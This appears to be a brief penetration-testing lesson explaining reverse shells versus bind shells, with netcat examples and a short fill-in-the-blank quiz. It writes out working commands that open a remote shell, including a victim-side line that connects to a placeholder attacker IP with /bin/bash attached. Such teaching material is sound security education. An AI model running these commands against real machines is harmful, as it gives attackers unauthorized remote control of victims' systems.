Reverse Shell vs Bind Shell
SecurityPenetration Testingnetcatshells
A reverse shell is simply the victim connecting to the attacker's machine. The attacker listens on a certain port, and the victim connects to it.
Example:
code
# Attacker
nc -lvnp 4444
# Victim
nc <attacker_ip> 4444 -e /bin/bash
Bind shell
Just like when we connect to a server, a bind shell is when the attacker somehow opens up a port on the victim machine and then gains access to their machine.
Example:
code
# Victim
nc -lvnp 4444 -e /bin/bash
# Attacker
nc <victim_ip> 4444
Which shell3 blanks
In a shell the victim connects out and the attacker listens: nc 4444. In a shell the attacker connects in to a port opened on the victim.
try it before revealing